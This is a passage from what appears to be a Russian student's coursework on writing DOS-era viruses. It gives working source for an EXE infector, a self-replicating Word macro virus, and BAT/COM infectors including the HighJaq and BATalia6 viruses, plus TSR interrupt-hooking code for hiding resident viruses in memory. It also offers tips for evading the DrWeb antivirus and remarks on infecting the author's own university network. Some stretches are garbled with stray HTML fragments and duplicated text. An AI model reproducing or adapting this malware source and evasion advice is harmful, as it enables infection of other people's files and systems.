ptr [bp+buffer+0Eh], ax ; и стек mov word ptr [bp+buffer+10h], id ; Id- переменная признак заражения. pop dx ; восстанавливаю ранее запомненную длину файла pop ax add ax, heap-startvirus ; добавляю размер вируса adc dx, 0 mov cl, 9 ; 2**9 = 512 push ax shr ax, cl ror dx, cl stc В результате всех мучений получаем размер файла в параграфах adc dx, ax pop ax and ah, 1 ; берем остаток от деления на 512 mov word ptr [bp+buffer+4], dx ; новый размер файла mov word ptr [bp+buffer+2], ax push cs pop es mov cx, 1ah finishinfection: push cx mov ah,40h ; Записываю изменения в файл lea dx,[bp+buffer] ; из буфера pop cx int 21h Передвигаю указатель к концу фала mov ax,4202h xor cx,cx cwd ; xor dx,dx int 21h Приписываю вирус mov ah,40h lea dx,[bp+startvirus] mov cx,heap-startvirus int 21h mov ax,5701h ; восстттанавливаю дату и время mov cx,word ptr [bp+newDTA+16h] ; time mov dx,word ptr [bp+newDTA+18h] ; date int 21h mov ah,3eh ; закрыть файл int 21h Ну вроде с EXE-шниками покончено, теперь давайте перейдем к другим видам вирусов. В последнее время с появление таких программ как Word и Excel появились специальные языки называемы макросами. Естественно следом за этим появились и вирусы способные заражать текстовые файлы. Кстати говоря, обычно вирусы подобного типа пишутся на BASICе поэтому, я думаю, следующий мой рассказ особенно заинтересует любителей этого языка. Мacro - вирусы Написать MACRO (даже не буду пояснять, что означает слово MACRO – это просто должен знать каждый вирусописатель) - штучку оказалось просто как отсортировать массив, нужно всего лишь немного знать BASIC и знать ГЛАВНУЮ команду WordVirus'a - MacroCopy Source, Destination которая копирует макрос из Source в Destination, но в вирусе используется два варианта этой команды: MacroCopy FileName$()+":MacroName1","Normal:MacroName2"-копирует макрос из файла в NORMAL.DOT. Между прочим в этом файле хранятся макро команды для основных документов. Заразишь его и значит все текстовые файлы, использующие этот файл (а они все его используют) заразятся тоже. MacroCopy "Normal:MacroName1",FileName$()+":MacroName2"-копирует макрос из NORMAL.DOT в файл Кроме того, чтобы ваш вирус успешно существовал в среде Word'a необходимо знать как собственно вирус запускается из файла: нужно всего лишь, чтобы запускаемый макрос имел имя в файле AutoOpen и все! При открытии файла Word автоматически запустит этот макрос! Заражение файла осуществляется примерно так же. Важно, чтобы в файле NORMAL.DOT присутствовал макрос FileOpen и при открытии файла зараженным Word'oм вы получите доступ к документу. ПЕРЕМЕННЫЕ И КОНСТАНТЫ MACRO вирусов dlg - массив Word'а используется им для поддержки макросов вызываемых другим макросом. FileName$() - имя открытого файла CountMacros - количество макросов MacroName$ - имя макроса Normal - имя файла в котором хранятся макросы (русский Word) если вы хотите заражать английский Word, замените везде Normal на Global МАСКИРОВКА Как сделать так, чтобы DrWEB и похожие с ним не ловили ваше детище? Тут необходимо немного фантазии, но все же: 1. DrWEB не обрабатыает, например, смену шрифта. 2. Создаете макрос со случайным именем и записываете туда строку MacroCopy ... , ... но перед этим задаете шрифт какого-нибудь размера и записываете строку, расшифровывая по маске шрифта, запускаете этот макрос и удаляете его! И все! ДЛЯ примера рассмотрим текст MACRO вируса (жаль, что только DrWeb его определяет). Комментарии здесь излишни.... macros -= CS =- Sub MAIN On Error Goto ops c = 0 For i = 1 To CountMacros(0, 0) If MacroName$(i, 0, 0) = "CS" Then c = 10 Next i If c = 10 Then Goto ops MacroCopy FileName$() + ":AutoOpen", "Normal:CS" MacroCopy FileName$() + ":CSF", "Normal:FileOpen" ops: End Sub Запускается при открытии файла macros -= FileOpen =- Sub MAIN Dim dlg As FileOpen On Error Goto ops GetCurValues dlg Dialog dlg FileOpen dlg s = 100 For i = 1 To CountMacros(1, 0, 0) If MacroName$(i, 1) = "CSF" Then s = 1 Next i If s = 1 Then Goto ops FileSaveAs FileName$(), .Format = 1 MacroCopy "Normal:CS", FileName$() + ":AutoOpen" MacroCopy "Normal:FileOpen", FileName$() + ":CSF" ops: End Sub Для того, чтобы написать хоть какой, Macro вирус достаточно взять руководство по Visual Basic для MS Word и я уверен, что идей будет достаточно (единственное, что требуется - это воображение). На последок хочу предложить вам самый излюбленный мною тип вирусов – BAT вирусы. Их число не столь велико, но зато сколько творчества наблюдается в них... И можно смело считать эту работу пустой если не будет упомянуто об этих замечательных "зверях"! BAT - вирусы Вы наверное уже поняли, что эти вирусы носят свое название из-за способности заражать файл с расширением BAT, а говоря проще командные файлы. Но не все знают, что зараженный "БАТНИК" может быть столь же опасным сколь и прочие разновидности вирусов, а может даже и больше. С моей точки зрения это самый перспективный тип вирусов, которым можно заразить наш родной ВГПУ. Поскольку это единственный тип вируса, который может серьезно распространиться на бездисковых станциях т.е. на сервере, где доступ к системным файлам закрыт. Каким именно способом произвести заражение естественно рассказывать не буду, а вот про структуру вируса расскажу подробно. Прежде всего хочу вас предупредить – для того, чтобы писать вирусы такого типа надо в совершенстве знать операционную систему MS DOS и все ее команды, в том числе и недокументированные. Кроме того, у вас должен быть большой опыт в ассемблере (если хотите оставить вирус резидентно) и еще ко всему очень богатое воображение. Каждый нормальный BAT вирус это произведение искусства, с которым нельзя сравнить обычные вирусы. Но так как цель этого пособия (моей курсовой) не учить вас писать вирусы, а дать общее представление о них и научить самым хитрым их методам, перейду сразу к делу. Вирусы этого типа элементарно обнаруживаются и истребляются - если вы посмотрите на бат-файл простым редактором, вы сразу много чего поймете. Я понятно, не говорю о вирусах, которые вписывают в бат-файл только строчку @virname, а имею в виду полноценные "вири", хранящие в зараженном бат-файле свое тело. Вообще же вирусописательство на бат-языке можно разбить на два класса: вирусы, содержащие встроенный код, и вирусы, написанные на командах доса. Совершенно очевидно, что первый тип вирусов имеет гораздо большие возможности, тогда как второй тип ограничен бат-языком, который вообще-то никто никогда не предполагал использовать для вирусописательства. Hо, тем не менее, на нем написан даже полиморфный вирус. Если кто хочет пережить нервное потрясение – посмотрите на него, он называется BATalia6, рекомендую. Мне б такое и в страшном сне не привиделось, Hо приступим к делу. Итак начнем с вопроса что мы будем писать?. Первый тип бат-вирусов. Итак что же наш вирус будет из себя представлять? Я думаю нечто вроде вот такой структуры: @REM ы6Р@copy %0 ass.com>nul@ass.com@del ass.com@REM ............Краткий комментарий, который едва ли кому нужен.@REM ы6Р ; просто комментарий, а по совместительству команды ; inc ax, push dx, inc bp, dec bp, and dl,bh ; это был непосредственно @REM ; и jmp 13eh - это собссно ы6Р - переход куда нам надо ; в бате это понятное дело не выполняется :)@copy %0 ass.com>nul ; Создание файла ass.com, копии батника. ; nul - место куда пойдет строка 1 file(s) copied, ; кою дос любит выводить@ass.com ; запуск этого файла@del ass.com ; удаляю этот файл, чтоб не мешался@REM ............ ; основная часть вируса, чистый код. Hу а что до @ - это значит на экран не рисовать команду. А что можно сказать об основной части вируса? Да ничего почти что. Этот примитив даже и в комментариях не нуждается. Поиск в текущем каталоге *.ВАТ файлов и их заражение. Плюс проверка на инфицированность братком и т.п. Как видите написание такого "зверя" не представляет абсолютно никаких проблем Слишком все примитивно. Теперь немного о том, чего нельзя ставить даже в коментариях (REM). Категорически запрещается символ с кодом 1А - это маркер конца бат-файла. Если он окажется даже в комментарии, то далее него выполнение не пойдет. Hе рекомендуется использовать также символы < и > - это указатели при операциях с файлами. Hо на них в принципе можно не обращать внимания если не давать строке комментария возможности выполниться, т.е. например поставить где надо goto. Поясню: есть строка rem dfhjdfh>hjg -результат: будет создан файл hjg длиной ноль. Если строка rem dsg<ghsa - результат: при выполнении скажет что файл не найден Пойдем в обход: goto m rem тут любой текст, кроме 1Ah :m Hо лучше так вообще не делать - возникает небольшой недостаток – не будут корректно заражаться батники с меткой m. Также стоит поостеречься символа ввод (0DH) - понятно почему? Hо это тоже обходится через goto. А вот пример замечательного BAT вируса со вставкой на ассемблере: .286 .model tiny .codeorg 100hstart: db '@REM ',0fah ; это первая строка бат файла jmp run_it ; это то что в ней закомментировано db 0dh,0ah,'@copy %0 ass.com>nul',0dh,0ah ; еще команды db '@ass.com',0dh,0ah ; db '@del ass.com',0dh,0ah ; db '@REM ' ; последний комментарийrun_it: pop cx ; Вы помните что там ; REM обозначает в кодах? mov ah,4eh ; найти первый бат-файл lea dx,batname int 21h jc thats_all ; если нету - выйти jmp go_onagain: ; найти следующий бат-файл mov ah,4fh int 21h jc thats_all ; если нету - снова выйтиgo_on: mov dx,9eh ; а если есть то mov ax,3d02h ; открыть его int 21h jc again ; перейдем к слудующему файлу mov bx,ax mov cx,ds:[9ah] ; длину файла в CX mov ah,3fh ; прочитать его весь в буфер lea dx,buffer int 21h mov ax,word ptr ds:[start] ; сравнить первые байты cmp word ptr ds:[buffer],ax ; если равны, то там наш брат и надо jz close ; тихо закрыть файл. xor cx,cx ; станем на начало файла xor dx,dx ; mov ax,4200h ; int 21h ; mov ah,40h ; запишемся туда mov dx,100h ; 100h - наше начало в памяти mov cx,offset buffer-100h ; buffer - самый конец вируса ;) как ; пошло... int 21h ; mov ah,40h ; запись в файл старого тела батника mov cx,ds:[9ah] ; cx=длина старого файла lea dx,buffer ; там он лежит - мы читали его int 21h ; пишемся ; Кстати намек - эти две записи можно ; пpовести в один пpием.close: mov ah,3fh ; чтобы избежать символа > в теле dec ah ; батника - у него код 3eh - прямо как у ; функции закрытия int 21h jmp again ; прейти к следующему файлуthats_all: ; mov ax,4c00h ; выходим int 21hbatname db '*.bat',0 ; маска для поиска батниковdb 0dh,0ah ; символы ввода и перевода строкиbuffer: ; конец - просто буферend start Неправда ли замечательная картина? Но самое интересное еще впереди. Раньше я, честно признаюсь, не придавал особого значения ВАТ вирусам и они меня не интересовали. Я считал написание ВАТ вирусов примитивным занятием, недостойным вирусописателя, но понял как жестокоnbsp; файле, nbsp; ; просто комментарий, а по совместительству командыnbsp;nbsp;nbsp; ошибался когда встретил вирус HighJaq. Он переменил не только все мое представление о ВАТ вирусах, но и побудил заняться этой проблемой всерьез. А началось с того, что я получил очередную почту из FIDO (вnbsp;nbsp;gt;nulnbsp;nbsp;се в архивах) и стал просматривать ее, в каnbsp;nbsp; lea dx,bufferждом файле я нашел файл WinStart.Bat и поначалу мне показалось, что это часть заархивированной программы, но когда разархивировал, то файла этого не нашел. После перезагрузки компьютер завис, тогда я начал копаться в почте и просмотрев ее обнаружил, что заразился BAT вирусом который распространяется через архивы ARJ – это просто гениальная идея. А то как именно он заражал вообще привело меня в восторг, к сожалению до сих пор я его извлек не из всех архивов, но теперь это уже не важно. Главное сама идея, а она заключается в следующем. При разархивировании независимо ни от чего WinStart.bat записывается в корневой каталог. Рассчитывал автор на то, что будет использоваться система Windows 95 и он не ошибся. Каждый раз перед запуском Win`95 запускается файл WinStart.Bat из корневого каталога, а именно он и есть вирус! После чего он создает из себя COM программу, которая с помощью хитрой уловки ищет все архивы на диске и дописывает туда код вируса, затем вирус сам себя уничтожает. А вот и он сам: ::pFqD@ctty nulcopy/b %0.bat+%0 c:\q.comdir \*.arj/s/bc:\q.com/i:qlpjif errorlevel 1 goto qWpUren c:\q.com 515GQA3E.WOOecho INSTALLHIGH=C:\515GQA3E.WOO>>c:\config.sys:qWpUfor %%a in (%0 %0.bat) do if exist %%a set q=%%adel c:\q.comctty con@del %q% Особенно мне нравиться строка dir \*.arj/s/bc:\q.com/i , это просто надо почувствовать! Одним словом: NO COMMENT! Ну и напоследок приведу текст вируса BATALIA 6 о котором писалось в начале главы, но это уже для самостоятельного изучения. @echo offset n=BATALIA6.BATif "a%1"=="af" goto findif "a%1"=="ap" goto polyif "a%1"=="as" goto setscd ..for %%b in (*.bat) do call s_g_w_w\%0 f %%bcd s_g_w_wif exist test del testgoto en:findif "a%f%"=="ay" goto encd s_g_w_warj l ..\%2 >nulif errorlevel 1 goto bggoto en1:bgif exist real del realset code=bcall %n% p ..\%2set code=tcall %n% p ..\%2set p=%rnd%set code=1call %n% p ..\%2 %2set code=tcall %n% p ..\%2set code=2call %n% p ..\%2echo %rulz% %2>>realcopy rulz %rulz%.bat >nularj a %rnd%.%rulz% %n% ..\%2 zagl rulz final.bat >nulcopy /b %rulz%.bat+%rnd%.%rulz% >nularj a %rulz%.%rnd% %rulz%.bat -g%p%>nulcopy /b real+%rulz%.%rnd% ..\%2 >nuldel realdel %rulz%.%rnd%del %rnd%.%rulz%del %rulz%.batset f=ygoto en1:setsif %rnd%==3 set rnd=4if %rnd%==2 set rnd=3if %rnd%==1 set rnd=2goto en:polycopy zagl test >nul:there add new method of rnd (E.g. type %2 >> test) - bad example)type zagl >>testecho 1 >rnd1echo 2 >rnd2echo 3 >rnd3del rnd? /p <test>nulset rnd=1for %%c in (rnd?) do call %0 secho 1 >rnd1del rnd?>nulgoto make_%code%_%rnd%:make_b_1echo @echo off>>realgoto _1:make_b_2echo @echo OFF>>realgoto _2:make_b_3echo @EcHo OfF>>realgoto _3:make_b_4echo @ECHO OFF>>realgoto _4:make_1_1echo %comspec% nul /carj x %%0 -g%p%>>realgoto _1:make_1_2echo %%comspec%% nul /c arj x %3 -g%p%>>realgoto _2:make_1_3echo %%comspec%% nul /carj e %%0 -g%p%>>realgoto _3:make_1_4echo %comspec% nul /c arj e %3 -g%p%>>realgoto _4:make_2_1set rulz=igoto _1:make_2_2set rulz=sgoto _2:make_2_3set rulz=hgoto _3:make_2_4set rulz=wgoto _4:make_t_1echo rem COMMAND.COM nul /carj x %%0 -g1>>realgoto _1:make_t_2echo :echo %comspec% nul /carj x %%0>>realgoto _2:make_t_3echo :nul arj x %%0 -g7 %comspec%>>realgoto _3:make_t_4echo rem arj e %%0 %%compec%% -g5>>realgoto _4:_1echo NY >zaglgoto en:_2echo YY >zaglgoto en:_3echo NN >zaglgoto en:_4echo YN >zaglgoto en:en1cd ..:en Резиденты. Искусство остаться незамеченным
Что такое резидентная программа (в дальнейшем - просто резидент)? Это такая программа, которая находится в оперативной памяти постоянно (обычные, нерезидентные программы присутствуют в памяти лишь во время их непосредственного исполнения; когда их выполнение заканчивается -- они "умирают" - память занятая ими - освобождается . Резидент же может обитать в ОЗУ, [кстати rezide - по англ. 'обитать'] не будучи в данный момент исполняем, но в то же время, - готовый к действию). И так - до окончания работы на PC! Резидент будет сидеть в ОЗУ и быть всегда готов вам услужить. Только программы типа Volkov Comander могут безболезненно удалять резиденты из памяти (и то лишь те, которые были загружены после них). Сделать программу резидентной (постоянно присутствующей в памяти) -- ЭЛЕМЕНТАРНО. Вот один из способов TITLE Это - ASSUME ;------------ CodeSegment Start: MainProcedure resident_end: MainProcedure CodeSegment COM. программа N4 для демонстрации посадки резидента CS:CodeSegment -------------------------------------------------------------- SEGMENT PARA ORG(100h) PROC NEAR ; ; ; ; ; MOV AX,0E61h ; напечатать INT 10h ; символ 'a' ; ; MOV DX,OFFSET resident_end ; DX<-- адрес последней команды ; ; рез-та+1 INT 27h ; вернуться в DOS ; ; оставив программу резидентной ; ; ; ENDP ; ENDS END Start Если Вы захотите откомпилировать и запустить выше данный пример, то лучше перед этим выйти из Norton Comander-а и запустить Volkov Comander (если у Вас его еще нет -- настоятельно советую приобрести !). Volkov Comander позволяет по нажатию комбинации клавиш Alt/F5 показать карту памяти PC и Вы можете удалить любой резидент, загруженный после Volkov Comander-а. А теперь -- коментарии к примеру Чтобы после выполнения программы выйти в DOS и одновременно оставить прогр-му резидентной всего-то лишь и нужно: ВМЕСТО КОМАНДЫ RET ДАТЬ ПРЕРЫВАНИЕ INT 27h и при этом в регистр DX нужно поместить адрес последнего оператора остающегося резидентно куска+1. Адрес этот равен смещению от PSP программы. Прерывание INT 27h -- программное прерыв-е. П/п-ма его обработки изменяет структуру ОЗУ так, что часть памяти теперь навечно закреплена за фрагментом Вашей программы. Итак, мы оставили в ОЗУ резидентный фрагмент, который печатает букву 'a'. Вопрос -- когда же он будет выполняться? А вот -- никогда! Вернее -- всего один раз - когда мы оставляли резидент в памяти. Но, тем не менее, он останется в ОЗУ. Он больше никогда не получит управление. Это - настоящий программный труп, который просто занимает место. Запустите эту программу еще раз. И в ОЗУ останется еще один памятник глупости. Работая в Volkov Comander-е, нажав Alt/F5, Вы можете в этом убедиться. Сколько бы раз эта программа не запускалась - каждый раз она будет отхватывать все новые и новые кусочки памяти и оставлять в них код печати буквы 'a', который никогда больше не будет выполнен. Но ведь резиденты пишутся не для этого! Они остаются в памяти ДЛЯ того, чтобы в ОПРЕДЕЛЕННЫЕ МОМЕНТЫ получать управление и выполнять определенные действия. Когда и каким образом? ПРИ ПОМОЩИ МЕХАНИЗМА ПРЕРЫВАНИЙ! ПОДРОБНЕЕ: Что будет если программа заменит в таблице векторов прерываний адрес исходной п/п-мы обработки прерывания на адрес своей собственной п/п-мы? В этом случае, в момент, когда будет дано это прерыв-е, управление получит эта п/п-ма. Возникнет некий самозванец, который будет обрабатывать прерывание по своему. Например, -- вы нажали букву "А", а PC напечатал на экране "О"; Вы начали печатать документ на принтере, а одновременно его текст запишется в специальный скрытый файл (пример шпионящего "дракона"); программа TETRIS.EXE загружена на выполнение (прерывание 21h), а вирус "почуял" это и в придачу к запуску программы "заразил" ее своей копией. Прерывания происходят постоянно, и если, окончив свою работу, прогр-ма, на адрес которой был заменен вектор прерывания, исчезнет из памяти - "умрет" и при этом не восстановит исходное значение вектора (адрес исходной п/п-мы обработки прерывания), то PC по-прежнему всякий раз, когда будет генерироваться прерывание, будет передавать управление в область, где раньше сидел самозванный обработчик, а теперь остался лишь мусор. И PC зависнет (в лучшем случае). Зависнет намертво. Следовательно, если мы решимся перехватить прерывание то существуют только две возможности: 1. Либо, если мы не будем сажать в память резидент, то, перед тем как "умрем", отреставрируем адрес исходного обработчика прерываний; 2. Либо мы не будем реставрировать адрес исходного обработчика прерываний, и, сохранив прерогативу обработки прерывания за собою, оставим наш оригинальный обработчик резидентно в памяти; Нас интересует второй вариант, т.к. созданные нами программы будут контролировать работу PC во время всей DOS-овской сессии, во время выполнения других программ, во время всех действий пользователя (который об этом и знать не будет). ОЧЕНЬ ВАЖНОЕ ДОБАВЛЕНИЕ -- очень часто стандартная п/п-ма обработки прерывания все же ДОЛЖНА его обработать, независимо от того, обрабатывали ли мы его сами. Следовательно, после того, как Вы, перехвативши вектор, в момент генерации прерывания сделали то что Вам нужно, Вы все же должны отдать управление исходному обработчику. Это похоже на случай, когда некто с целью заработать денег перехватывает выгодный подряд на строительство моста, но сам, не будучи строителем, все же вынужден нанять профессионалов (выдать субподряд). РЕЗЮМИРУЕМ: вот что нам нужно сделать, чтобы создать активный резидент, реагирующий на появление определенного прерывания и не вызывающий зависание компьютера. 1. Сохранить в своем теле адрес истинного обработчика прерыв-я. 2. Заменить в таблице векторов адрес истинного обработчика прерыв-я на адрес собственной п/п-мы. 3. Завершить программу, оставив собственную п/п-му обработки прерывания в памяти PC резидентно. 4. Сконструировать резидентную часть так, чтобы после обработки перехваченного прерывания позволить исходному обработчику тоже его обработать. Перехват прерывания можно сравнить со вставкой дополнительного элемента в список (для тех кто работал с динамическими переменными). Какое прерывание выбрать? Предложим для простоты прерывание N 5 (печать экрана). Оно возникает, если Вы нажмете клавишу Print Scrin. Вызываемая при этом п/п-ма печатает на принтере копию экрана PC. Прерывание N 5 не требует и не возвращает никаких параметров (чудно!), и еще его не обязательно возвращать стандартному обработчику; ничего не случится, если Вы его зажмете (весьма редкое свойство). Вы наверное не раз замечали что если Вы нажмете Print Scrin, а принтер не готов -- раздается гудок, -- это стандартный обработчик прерывания N. Создадим-ка резидент, который, перехватывая прерывание N 5 , ну скажем,.. выведет на экран 'сердечко' (символ с кодом 3), и после этого возвратит управление стандартному обработчику (вежливость - высшая добродетель). Таким образом, при нажатии Print Scrin сначала будет напечатано 'сердечко' (работает наш резидентный обработчик), а уже потом раздастся гудок (заработает стандартный обработчик и обругает Вас за отключенный принтер). Итак -- вперед! TITLE Это - COM. программа для демонстрации посадки резидентаASSUME CS:CodeSegment;-----------------------------------------------------------------CodeSegment SEGMENT PARAORG(100h)Start:MainProcedure PROC NEARJMP initial ; перепрыгнем через данные; ; и наш обработчик прер-я 05; ; на инициализирующую часть;saved_int05: DD 0 ; данные (хранилище для; ; адреса стандартного обработчика прерывания -- 2 слова;-----------наша п/п-а обработки прерывания 05-------------; (она останется резидентной в памяти) ; здесь мы можем делать что хотим int05_treater:PUSH AX ; MOV AH,0Eh ;входные параметрыMOV AL,03h ; (печатать 'сердечко'INT 10h ;печатаем 'сердечко' POP AX ;PUSH и POP ОЧЕНЬ важны (см. коментарий после примера) длин. JMP по адресу, который находится теперь в хранилище или буфереJMP dword ptr CS:[saved_int05] rezident_end: ; ; saved_int05 (возвращаем управление стандартному обработчику прерывания 05) ;-----------инициализирующая часть---------------------------; (здесь мы сажаем резидент, переопределяя адреса) initial: XOR DX,DX ; ---- MOV DS,DX ; ------> DS = 0 MOV AX,DS:[5*4] ;сохраняем в хранилище savedMOV word ptr CS:[saved_int05 ],AXint05 адрес стандартногоMOV AX,DS:[5*4+2] ; обработчика прерывания 05MOV word ptr CS:[saved_int05+2],AX ; ( OFFSET и SEGMENT ) запрещаем прерыванияCLI MOV AX,OFFSET int05_treater ; MOV word ptr DS:[5*4],AX ;кладем в таблицу векторов PUSH CS ; адрес нашего обработчикаPOP AX ; прерывания 05 MOV word ptr DS:[5*4+2],AX ; STI ;разрешаем прерывания MOV DX,OFFSET rezident_end ;DX<--конец резид. части INT 27h ;закончить программу и вернуться в DOS, оставив; резидентной;---------------------------------------------------------------- MainProcedure ENDP;CodeSegment ENDSEND Start коментарии: Программа состоит из двух главных частей: той, что остается в памяти резидентно и не выполняется при запуске самой прогр-мы (данные + наша п/п-ма обработки прерывания 05), и -- инициализирующей части. Почему порядок следования этих частей именно такой? Почему инициализирующая часть не остается в памяти резидентно? Почему наша п/п-ма обработки прерывания 05 начинается оператором PUSH AX и заканчивается оператором POP AX? Что за новые операторы CLI и STI? Ответы: Инициализирующая часть не остается в памяти резидентно, т.к. она не входит в п/п-му обработки прерывания 05, она нужна лишь для посадки резидента в память и перенаправления вектора прерывания на него. Здесь уместна аналогия с запуском орбитального спутника: ракета-носитель <инициализирующая часть>, выводит на орбиту спутник-шпион <резидентная часть>. При этом сама ракета-носитель разрушается и на орбиту не попадает. О порядке следования. Если бы сначала шла инициализирующая часть, а потом - резидентная, то мы были бы вынуждены сделать резидентным и инициализирующий кусок, ибо резидентным становится все, начиная от PSP и до того адреса, который мы поместим в DX перед генерацией INT 27h. Оставление в резидентуре инициализационной части приведет к расходованию лишней памяти (очень ценного ресурса). ЗАМЕЧАНИЕ: вот в случае создания резидентного вируса инициализирующая часть обязана быть резидентной, так как ВИРУСУ ДОЛЖЕН БЫТЬ ДОСТУПЕН ВЕСЬ СОБСТВЕННЫЙ КОД. Лишь при этом условии вирус сможет себя куда-нибудь запихнуть. Вот зачем появились операторы CLI и STI: в момент, когда мы вручную (при помощи команд пересылки) заменяем адрес в таблице векторов, может произойти вызов того самого прерывания, которое мы перехватываем. Если одно слово заменено, а другое - еще нет -- будет маленький Чернобыль (семь бед - один RESET). На время замены вектора надо временно запретить вызовы прерываний (команда CLI), после окончания замены -- разрешить вновь (команда STI). Команда CLI запрещает все прерывания, кроме немаскируемого NMI. Зачем в начале нашей п/п-мы обработки прерывания 05 находится PUSH AX, а в конце -- POP AX? Слушайте СУПЕРПРАВИЛО: Если п/п-ма обработки прерыв-я в процессе работы портит какой-либо регистр, то перед окончанием своей работы она обязана вернуть ему прежнее значение. Чаще всего это делается так: перед началом работы этот регистр роняется в стек, а перед окончанием достается обратно. (Есть и другие способы, например использование другого регистра или альтернативных регистров). ----------------------------------------------------------------------------- В заключение главы сделаем еще один резидент, который будет гудеть, стоит лишь нам запустить какую-либо программу. Сажать его мы будем на обработку прерывания 21h - "Прерывания DOS" (функция 4Bh) : TITLE Это - COM. программа N6 для демонстрации посадки резидентаASSUME CS:CodeSegment;-----------------------------------------------------------------CodeSegment SEGMENT PARAORG(100h)Start:MainProcedure PROC NEAR;JMP initial ; перепрыгнем через данныенаш обработчик прер-я 21 на инициализирующую частьsaved_int21: DD 0 ; данные (хранилище для адреса стандартного обработчика прерывания 21 –2 слова);-----------наша п/п-а обработки прерывания 21-------------; (она останется резидентной в памяти) int21_treater: PUSH AX CMP AH,4Bh ;вызвана функция 4Bh прерыв-я 21h &nbs/addressЧтобы после выполнения программы выйти в DOS и одновременно оставить прогр-му резидентной всего-то лишь и нужно: ВМЕСТО КОМАНДЫ RET ДАТЬ ПРЕРЫВАНИЕ INT 27h и при этnbsp;nbsp;ом в регистр DX нужно поместить адрес последнего оператора остающегося резидентно куска+1. Адрес этот равен смещению от PSP программы. Прерывание INT 27h -- программное прерыв-е. П/п-ма его обработки изменяет структуру ОЗУ тTITLEnbsp;nbsp; ;ак, что часть памяти теперь навечно закреплена за фрагментом Вашей программы.p; JNE not_beep ; (запуск программы) -- еслиMOV AX,0E07hINT 10h ;давать гудок (печать - символа not_beep: POP AX ; с кодом 07) ; ;PUSH и POP ОЧЕНЬ важны сами знаете теперь почему ; ; JMP dword ptr CS:[saved_int21] ; длин. JMP по адресу, котор. находится теперь в хранилище saved_int21 (возвращаем управление стандартному обработчику прерывания 21) rezident_end:; ;;-----------инициализирующая часть--------------------------; (здесь мы сажаем резидент, переопределяя адреса) ; ; initial: XOR DX,DX ; ---- MOV DS,DX ; ------> DS = 0 ; ; MOV AX,DS:[21h*4] ; сохраняем в хранилище saved_MOV word ptr CS:[saved_int21 ],AX ; int21 адрес стандартного MOV AX,DS:[21h*4+2] ; обработчика прерывания 21MOV word ptr CS:[saved_int21+2],AX ;( OFFSET и SEGMENT ) CLI ;запрещаем прерывания MOV AX,OFFSET int21_treater MOV word ptr DS:[21h*4],AX ;кладем в таблицу векторов PUSH CS ; адрес нашего обработчика POP AX ; прерывания 21 MOV word ptr DS:[21h*4+2],AX ; STI ;разрешаем прерывания MOV DX,OFFSET rezident_end ;DX<--конец резид. части INT 27h ;закончить программу и ; ; вернуться в DOS;---------------------------------------------------------------- MainProcedure ENDPCodeSegment ENDSEND Start Сущность нашего перехвата прерывания 21h такова: как только возникло прерывание, и управление перешло к нашему резиденту мы сравниваем значение AH с 4Bh. Если AH=4Bh (запускается какая-то программа), то мы даем гудок и передаем управление в руки хозяина (функции 4Bh) -- делаем длинный JMP. Если же вызванная функция -- не 4Bh, то мы возвращаем управление, что называется, без звука. Экспериментируя с этим резидентом, мы обнаружим, что при запуске программ может раздаваться несколько гудков. Дело в том, что запускаемые нами программы могут, в свою очередь, запускать свои дочерние процессы. Крайне часто запускаются Norton и COMMAND.COM. Из этого следует, как вы уже догадались, что эти файлы заражаются в первую очередь. Опять же что-то не так! Если вы посмотрите содержимое памяти с помощью того же самого VolkovА, то обнаружите к своему огорчению программы который в данный момент сидят в памяти. Для вируса это очень плохо т.к. даже у начинающего пользователя это вызовет определенные подозрения: "...как это так, я такого не запускал – откуда же он здесь взялся? Уж ни вирус ли это?" По этому поступают следующим образом: Рассмотрим на примере. Невидимый резидент был выдран из семейства Later/Drug, но у него есть пара недостатков: а) виден Volcov Commander как отдельный блок памяти помеченный system. (можно избежать маркировкой не 8 а 70h), но б) в некоторых случаях (запуск под Windows 95 во время загрузки) выдаются сообщения типа: "Не хватает памяти", "Не могу загрузить COMMAND.COM", - система виснет. Но все равно приятно! .model tiny.codeэта константа определяет длинну тела вируса конец-началоconst1 equ offset end_v-offset startтоже самое только с поправкой для выделения парагрофов1 параграх – 16 байт. Поэтому делим все на 16. Поправка 1.const2 equ (offset end_v-offset start)/16+1 org 100hstart:Получаем адрес 21h прерывания. Стандартная функция mov ax,3521h int 21h mov cs:[old_i],bx mov cs:[old_i+2],esЗаносив в Si,2 этот регистр будет использован в качестве указателя mov si,2в AX у нас получается адрес PSP программы. Уменьшили его mov ax,ds dec ax mov ds,axВ PSP по адресу si+1 т.е. уже 3 (см. Выше) находиться младшее слово счетчика памяти который надо освободить после окончания программы (в параграфах). Уменьшили его на длину вируса. Теперь при выходе освободиться только часть память – остальная еще пригодиться для внедрения. sub word ptr ds:[si+1],const2Теперь обратимся к сегменту кода. Перенесем его в DS push cs pop dsДелаю тоже самое но со старшим словом! sub word ptr ds:[si],const2 mov ax,ds:[si] sub ax,16 mov ds,axУстанавливаю новое прерывание mov ax,2521h mov dx,offset new_21 int 21hдалее перемещаю код вируса на освободившееся место.Просто копирую все подряд. push ds push cs pop ds pop es mov si,100h mov di,si mov cx,const1 cldКстати, опять же лучше использовать для написания программ такого рода более быстрые команды. Учитывая особенно то, что компьютеров с процессором 286 почти не осталось. Я имею в виду rep movsD вместо rep movsB rep movsbи выхожу. mov ax,4c00h int 21h А это собственно сам вирус. Печатает SC в верхний угол экрана.new_21: push es ax mov ax,0b800h mov es,ax mov word ptr es:[0],'SC' pop ax es db 0eahЗдесь будет хранится исходное прерывание int 21hold_i dw 0,0end_v:end start В общем то все легко и надо отметить, что именно такой прием встречается чаще всего в вирусах. (В более же серьезных вирусах используют другой приме – рассмотренный ниже). Но опять же более опытный пользователь опять же обратить внимание на выделенный блок памяти, причем который находиться отдельно от всех остальных и опять же возникнут подозрения. Давайте научимся делать резидентную часть нашего вируса полностью невидимой. А для этого воспользуемся куском из вируса "WG-728" .model tiny.codeтоже что и в предыдущем примереconst1 equ offset end_v-offset startconst2 equ (offset end_v-offset start+100h)/16+1 org 100hstart:исходное значение прерывания сохраняется в буфере вируса mov ax,3521h int 21h mov cs:[old_i],bx mov cs:[old_i+2],es Поместим в AX указатель на сегмент где находится наш вирус. Алгоритм тот же самый как и в предыдущем примере, но только выполнен немного по другому. mov bp,cs mov ax,bp dec ax mov ds,ax xor di,di xchg [di+3],bx sub bx,const2+1 mov [di+3],bxприбовляем к PSP сегмент кода add bx,bp mov es,bxДалее (как я ни старался найти простое объяснения- у меня ничего не вышло), чтобы понять что здесь происходит дальше просто необходимо рассмотреть структуру блоков памяти которые выделяет вирус. Их называют MCB-блоками (Блок контроля памяти). Когда выделяется память программе ей предшествует ее 